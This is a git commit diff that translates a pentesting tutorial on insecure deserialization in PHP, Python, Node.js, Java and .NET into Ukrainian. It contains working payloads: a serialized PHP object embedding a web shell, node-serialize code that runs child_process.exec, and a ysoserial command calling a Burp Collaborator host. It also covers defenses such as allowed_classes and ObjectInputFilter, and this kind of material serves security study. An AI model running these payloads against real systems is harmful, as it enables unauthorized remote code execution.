Translated ['src/pentesting-web/deserialization/README.md'] to uk

This commit is contained in:
Translator 2025-08-10 14:39:18 +00:00
parent afc944e7b5
commit 8ecf0d8f0f

View File

@ -8,17 +8,17 @@
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати непередбачувану поведінку в додатку під час процесу відновлення об'єкта.
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати несподівану поведінку в додатку під час процесу відновлення об'єкта.
## PHP
У PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
В PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
- `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
- `__wakeup`: Викликається, коли об'єкт десеріалізується. Використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує) під час десеріалізації об'єкта. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
- `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
- `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
- `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Зазвичай використовується для завдань очищення, таких як закриття файлових дескрипторів або з'єднань з базою даних.
- `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
```php
<?php
class test {
@ -74,19 +74,19 @@ This is a test<br />
*/
?>
```
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається, коли намагаються надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається при спробі надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
> [!WARNING]
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань під час десеріалізації.
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань після десеріалізації.
>
> ```php
> class MyClass {
> private $property;
> private $property;
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Виконати будь-які необхідні завдання під час десеріалізації.
> }
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Виконати будь-які необхідні завдання після десеріалізації.
> }
> }
> ```
@ -115,15 +115,67 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### Запобігання PHP Object Injection з `allowed_classes`
> [!INFO]
> Підтримка **другого аргументу** функції `unserialize()` (масив `$options`) була додана в **PHP 7.0**. У старіших версіях функція приймає лише серіалізований рядок, що ускладнює обмеження класів, які можуть бути інстанційовані.
`unserialize()` **інстанціює кожен клас**, який він знаходить у серіалізованому потоці, якщо не вказано інше. З PHP 7 поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
// SAFER disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
Якщо **`allowed_classes` пропущено _або_ код працює на PHP < 7.0**, виклик стає **небезпечним**, оскільки зловмисник може створити корисне навантаження, яке використовує магічні методи, такі як `__wakeup()` або `__destruct()`, для досягнення віддаленого виконання коду (RCE).
#### Приклад з реального світу: Everest Forms (WordPress) CVE-2025-52709
Плагін WordPress **Everest Forms ≤ 3.2.2** намагався бути захисним з допоміжною обгорткою, але забув про старі версії PHP:
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
```
На серверах, які все ще працювали на **PHP ≤ 7.0**, ця друга гілка призвела до класичного **PHP Object Injection**, коли адміністратор відкривав шкідливу форму. Мінімальний експлойт-пейлоад міг виглядати так:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
Як тільки адміністратор переглянув запис, об'єкт був інстанційований, і `SomeClass::__destruct()` був виконаний, що призвело до виконання довільного коду.
**Висновки**
1. Завжди передавайте `['allowed_classes' => false]` (або строгий білий список) при виклику `unserialize()`.
2. Аудит захисних обгорток вони часто забувають про старі гілки PHP.
3. Оновлення до **PHP ≥ 7.x** саме по собі *не* є достатнім: опцію все ще потрібно передавати явно.
---
### PHPGGC (ysoserial для PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload'и для зловживання десеріалізаціями PHP.\
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload для зловживання десеріалізаціями PHP.\
Зверніть увагу, що в кількох випадках ви **не зможете знайти спосіб зловживати десеріалізацією в вихідному коді** програми, але ви можете **зловживати кодом зовнішніх PHP розширень.**\
Отже, якщо можете, перевірте `phpinfo()` сервера та **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати.
Отже, якщо можете, перевірте `phpinfo()` сервера і **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати.
### phar:// метадані десеріалізації
Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад, використовуючи функції, такі як _**file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**_**.** Ви можете спробувати зловживати **десеріалізацією**, що відбувається при **читанні** **файлу** за допомогою протоколу **phar**.\
Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад, використовуючи функції, такі як _**file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**_**.** Ви можете спробувати зловживати **десеріалізацією**, що відбувається при **читанні** **файлу** за допомогою **phar** протоколу.\
Для отримання додаткової інформації прочитайте наступний пост:
{{#ref}}
@ -134,7 +186,7 @@ $ser=serialize($o);
### **Pickle**
Коли об'єкт розпаковується, функція \_\_\_reduce\_\_\_ буде виконана.\
Коли об'єкт десеріалізується, функція \_\_\_reduce\_\_\_ буде виконана.\
При експлуатації сервер може повернути помилку.
```python
import pickle, os, base64
@ -145,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
```
Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3.
Для отримання додаткової інформації про вихід з **pickle jails** дивіться:
Для отримання додаткової інформації про вихід з **pickle jails** перегляньте:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -153,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в бібліотеках python для yamls** і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
{{#ref}}
python-yaml-deserialization.md
@ -169,7 +221,7 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **не має "магічних" функцій**, як PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
JS **не має "магічних" функцій**, як PHP або Python, які виконуються лише для створення об'єкта. Але він має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
Якщо зловживати десеріалізацією, ви можете **компрометувати ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають.
Ще один **"магічний" спосіб викликати функцію** без прямого виклику - це **компрометація об'єкта, який повертається асинхронною функцією** (promise). Тому, якщо ви **перетворите** цей **об'єкт повернення** в інший **promise** з **властивістю** під назвою **"then" типу функція**, він буде **виконаний** лише тому, що його повертає інший promise. _Слідкуйте_ [_**за цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._
@ -243,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS oneliner** як у наступному прикладі:
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS однолінійник** як у наступному прикладі:
```javascript
var serialize = require("node-serialize")
var test =
@ -282,7 +334,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Пакет **serialize-javascript** призначений виключно для серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
@ -313,7 +365,7 @@ deserialize(test)
## Java - HTTP
В Java **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використане зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
В Java, **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використано зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
### Відбитки
@ -322,7 +374,7 @@ deserialize(test)
Щоб виявити потенційні вразливості серіалізації в кодовій базі, шукайте:
- Класи, які реалізують інтерфейс `Serializable`.
- Використання функцій `java.io.ObjectInputStream`, `readObject`, `readUnshared`.
- Використання функцій `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
Зверніть особливу увагу на:
@ -342,11 +394,11 @@ deserialize(test)
- HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
- Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
- Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як зазначено в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Перевірте, чи вразливий
### Перевірте, чи є вразливість
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією DNS Java**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
@ -363,29 +415,29 @@ grep -R InvokeTransformer .
#### Чорний ящик
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe зосереджений на **`ObjectInputStream` десеріалізаціях**.
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **ідентифікувати вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **виявити вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявлятиме **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він намагатиметься підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявить **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він спробує підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Тест на серіалізацію**
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати собі адміністративні привілеї в веб-додатку).\
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати вам адміністративні привілеї в веб-додатку).\
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
### **Експлойт**
#### **ysoserial**
Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з пайпами).\
Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\
Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload працює.
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -493,10 +545,10 @@ mvn clean package -DskipTests
Java використовує багато серіалізації для різних цілей, таких як:
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, куками тощо.
- **RMI (Віддалений виклик методів)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю залежить від серіалізації, є основою для віддаленого зв'язку в Java-додатках.
- **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
- **JMX (Розширення управління Java)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
- **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
### Prevention
@ -512,7 +564,7 @@ private transient double margin; // declared transient
```
#### Уникайте серіалізації класу, який повинен реалізовувати Serializable
У сценаріях, де певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши `final` метод `readObject()`, який постійно викидає виключення, як показано нижче:
У сценаріях, де певні **об'єкти повинні реалізовувати інтерфейс `Serializable`** через ієрархію класів, існує ризик ненавмисної десеріалізації. Щоб запобігти цьому, переконайтеся, що ці об'єкти не підлягають десеріалізації, визначивши метод `final` `readObject()`, який постійно викидає виключення, як показано нижче:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -520,7 +572,7 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Покращення безпеки десеріалізації в Java**
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення процесів десеріалізації. Цей метод підходить, коли:
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:
- Код десеріалізації знаходиться під вашим контролем.
- Відомі класи, які очікуються для десеріалізації.
@ -550,9 +602,9 @@ return super.resolveClass(desc);
```
-javaagent:name-of-agent.jar
```
Це забезпечує спосіб динамічно захистити десеріалізацію, ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
Це забезпечує спосіб динамічно захистити десеріалізацію, що ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
Перевірте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
Перегляньте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Впровадження фільтрів серіалізації**: Java 9 представила фільтри серіалізації через інтерфейс **`ObjectInputFilter`**, що забезпечує потужний механізм для визначення критеріїв, яким повинні відповідати серіалізовані об'єкти перед десеріалізацією. Ці фільтри можуть бути застосовані глобально або для кожного потоку, пропонуючи детальний контроль над процесом десеріалізації.
@ -568,10 +620,10 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені функції для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізація власних стратегій серіалізації.
- **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст.
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий контент.
- **Kryo** є альтернативною рамкою серіалізації, яка акцентує увагу на швидкості та ефективності, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
### Посилання
@ -581,11 +633,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Доповідь про gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) та слайди: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Паперова робота Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- Стаття Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java та .Net JSON десеріалізація **паперова робота:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Десеріалізація Java та .Net JSON **стаття:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
@ -598,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями, орієнтованим на послуги, для надсилання повідомлень між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Продукти
@ -613,12 +665,14 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує введення користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатка.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.
### Посилання
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- Доповідь JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Слайди: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
@ -650,15 +704,15 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
- **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
- **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
